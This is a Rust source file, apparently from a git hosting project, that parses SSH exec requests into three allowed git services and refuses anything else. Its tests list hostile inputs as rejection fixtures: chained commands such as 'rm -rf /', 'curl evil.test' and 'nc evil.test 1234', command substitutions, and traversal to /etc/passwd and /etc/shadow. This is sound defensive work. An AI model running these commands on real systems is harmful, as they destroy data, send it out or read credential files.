zuka
zuka/src/ssh/command.rs

worklyn / zukapublic

Agent-first git hosting. One Rust binary: git over HTTP and SSH, a REST API, MCP, CI, and multi-tenant isolation.

Get a copy: git clone https://zuka.worklyn.com/worklyn/zuka.git
zuka/src/ssh/command.rs
RScommand.rs8.2 KBDownload
1// Parsing the one thing an SSH session is allowed to exec.
2//
3// The client sends a shell command string. It is never handed to a shell — it is
4// parsed into one of three fixed services plus a repository path, and anything that
5// does not match is refused. That is what makes `git-upload-pack '/a/b.git'; rm -rf /`
6// a parse error rather than an execution.
7
8use crate::error::{Error, Result};
9use crate::git::validate::{self, Name};
10
11#[derive(Debug, Clone, Copy, PartialEq, Eq)]
12pub enum Service {
13 UploadPack,
14 ReceivePack,
15 /// Serves `git archive --remote`. It exposes exactly what `upload-pack` already
16 /// exposes — the contents of reachable trees — to a caller who has read access,
17 /// so refusing it withheld a normal git capability without withholding any data.
18 UploadArchive,
19}
20
21impl Service {
22 pub fn writes(self) -> bool {
23 matches!(self, Service::ReceivePack)
24 }
25
26 /// The git subcommand to spawn.
27 pub fn git_subcommand(self) -> &'static str {
28 match self {
29 Service::UploadPack => "upload-pack",
30 Service::ReceivePack => "receive-pack",
31 Service::UploadArchive => "upload-archive",
32 }
33 }
34}
35
36#[derive(Debug, Clone)]
37pub struct GitCommand {
38 pub service: Service,
39 pub account: Name,
40 pub repo: Name,
41}
42
43/// Parse an SSH exec request into a git service and a validated repository.
44pub fn parse_command(raw: &str) -> Result<GitCommand> {
45 let raw = raw.trim();
46 if raw.len() > 512 {
47 return Err(Error::invalid("invalid-command", "command is too long"));
48 }
49
50 let (service, rest) = split_service(raw).ok_or_else(|| {
51 Error::invalid(
52 "invalid-command",
53 "only git-upload-pack and git-receive-pack are available",
54 )
55 })?;
56
57 let path = unquote(rest.trim())?;
58 let (account, repo) = split_repo_path(&path)?;
59
60 Ok(GitCommand {
61 service,
62 account: validate::name(&account)?,
63 repo: validate::name(&repo)?,
64 })
65}
66
67/// Match `git-upload-pack <path>` or `git upload-pack <path>`, and nothing else.
68fn split_service(raw: &str) -> Option<(Service, &str)> {
69 const FORMS: &[(&str, Service)] = &[
70 ("git-upload-pack ", Service::UploadPack),
71 ("git upload-pack ", Service::UploadPack),
72 ("git-receive-pack ", Service::ReceivePack),
73 ("git receive-pack ", Service::ReceivePack),
74 ("git-upload-archive ", Service::UploadArchive),
75 ("git upload-archive ", Service::UploadArchive),
76 ];
77
78 FORMS
79 .iter()
80 .find(|(prefix, _)| raw.starts_with(prefix))
81 .map(|(prefix, service)| (*service, &raw[prefix.len()..]))
82}
83
84/// Strip the single or double quotes git wraps the path in.
85///
86/// Rejects anything containing a shell metacharacter. The path never reaches a
87/// shell, so this is defence in depth rather than the control — but a path that
88/// needs escaping is not a path this server serves.
89fn unquote(value: &str) -> Result<String> {
90 let unquoted = if (value.starts_with('\'') && value.ends_with('\'') && value.len() >= 2)
91 || (value.starts_with('"') && value.ends_with('"') && value.len() >= 2)
92 {
93 &value[1..value.len() - 1]
94 } else {
95 value
96 };
97
98 if unquoted.is_empty() {
99 return Err(Error::invalid("invalid-command", "no repository given"));
100 }
101 if unquoted.chars().any(|c| {
102 matches!(
103 c,
104 ';' | '&' | '|' | '`' | '$' | '(' | ')' | '<' | '>' | '\n' | '\r' | '\'' | '"' | '\\'
105 )
106 }) {
107 return Err(Error::invalid(
108 "invalid-command",
109 "repository path contains an illegal character",
110 ));
111 }
112 Ok(unquoted.to_string())
113}
114
115/// Split `/account/repo.git` into its two names.
116///
117/// Accepts the leading slash and the `~` form some clients send, and requires
118/// exactly two components so `/a/b/c.git` is a parse error rather than a path that
119/// silently resolves somewhere unintended.
120fn split_repo_path(path: &str) -> Result<(String, String)> {
121 // Strip exactly one leading marker. Trimming repeatedly would normalise
122 // `//etc/shadow` into a valid-looking `etc/shadow` instead of refusing it, and
123 // silently repairing a malformed path is how a parser and its caller end up
124 // disagreeing about what was requested.
125 let trimmed = path
126 .strip_prefix('~')
127 .unwrap_or_else(|| path.strip_prefix('/').unwrap_or(path));
128
129 let parts: Vec<&str> = trimmed.split('/').collect();
130
131 if parts.len() != 2 || parts.iter().any(|p| p.is_empty()) {
132 return Err(Error::invalid(
133 "invalid-command",
134 "repository must be given as <account>/<repo>.git",
135 ));
136 }
137
138 let repo = parts[1].strip_suffix(".git").unwrap_or(parts[1]);
139 Ok((parts[0].to_string(), repo.to_string()))
140}
141
142#[cfg(test)]
143mod tests {
144 use super::*;
145
146 #[test]
147 fn parses_the_forms_git_actually_sends() {
148 for raw in [
149 "git-upload-pack '/alice/site.git'",
150 "git-upload-pack /alice/site.git",
151 "git upload-pack '/alice/site.git'",
152 "git-upload-pack 'alice/site.git'",
153 "git-upload-pack '~alice/site.git'",
154 "git-upload-pack \"/alice/site.git\"",
155 ] {
156 let parsed = parse_command(raw).unwrap_or_else(|e| panic!("{raw:?}: {e}"));
157 assert_eq!(parsed.service, Service::UploadPack);
158 assert_eq!(parsed.account.as_str(), "alice");
159 assert_eq!(parsed.repo.as_str(), "site");
160 }
161 }
162
163 #[test]
164 fn receive_pack_is_recognised_as_a_write() {
165 let parsed = parse_command("git-receive-pack '/alice/site.git'").unwrap();
166 assert_eq!(parsed.service, Service::ReceivePack);
167 assert!(parsed.service.writes());
168 assert!(!Service::UploadPack.writes());
169 }
170
171 #[test]
172 fn a_case_variant_resolves_to_the_same_repository() {
173 let lower = parse_command("git-upload-pack '/alice/site.git'").unwrap();
174 let upper = parse_command("git-upload-pack '/Alice/SITE.git'").unwrap();
175 assert_eq!(lower.account, upper.account);
176 assert_eq!(lower.repo, upper.repo);
177 }
178
179 #[test]
180 fn refuses_command_chaining_and_substitution() {
181 for raw in [
182 "git-upload-pack '/alice/site.git'; rm -rf /",
183 "git-upload-pack '/alice/site.git' && curl evil.test",
184 "git-upload-pack '/alice/$(whoami).git'",
185 "git-upload-pack '/alice/`id`.git'",
186 "git-upload-pack '/alice/site.git' | nc evil.test 1234",
187 "git-upload-pack '/alice/site.git'\nrm -rf /",
188 ] {
189 assert!(parse_command(raw).is_err(), "{raw:?} must be refused");
190 }
191 }
192
193 #[test]
194 fn upload_archive_is_served_and_counts_as_a_read() {
195 let parsed = parse_command("git-upload-archive '/alice/site.git'").unwrap();
196 assert_eq!(parsed.service, Service::UploadArchive);
197 assert!(
198 !parsed.service.writes(),
199 "archiving must need read access, not write"
200 );
201 }
202
203 #[test]
204 fn refuses_every_command_that_is_not_a_git_service() {
205 for raw in [
206 "sh",
207 "bash -i",
208 "scp -t /tmp",
209 "rm -rf /",
210 "",
211 "git-upload-pack",
212 "git-upload-packX '/alice/site.git'",
213 "git-upload-archiveX '/alice/site.git'",
214 ] {
215 assert!(parse_command(raw).is_err(), "{raw:?} must be refused");
216 }
217 }
218
219 #[test]
220 fn refuses_traversal_in_the_repository_path() {
221 for raw in [
222 "git-upload-pack '/../../etc/passwd'",
223 "git-upload-pack '/alice/../bob/secret.git'",
224 "git-upload-pack '/alice/site.git/../../other'",
225 "git-upload-pack '//etc/shadow'",
226 ] {
227 assert!(parse_command(raw).is_err(), "{raw:?} must be refused");
228 }
229 }
230
231 #[test]
232 fn requires_exactly_an_account_and_a_repo() {
233 for raw in [
234 "git-upload-pack '/site.git'",
235 "git-upload-pack '/a/b/c.git'",
236 "git-upload-pack '/'",
237 ] {
238 assert!(parse_command(raw).is_err(), "{raw:?} must be refused");
239 }
240 }
241
242 #[test]
243 fn refuses_an_over_long_command() {
244 let raw = format!("git-upload-pack '/alice/{}.git'", "x".repeat(600));
245 assert!(parse_command(&raw).is_err());
246 }
247}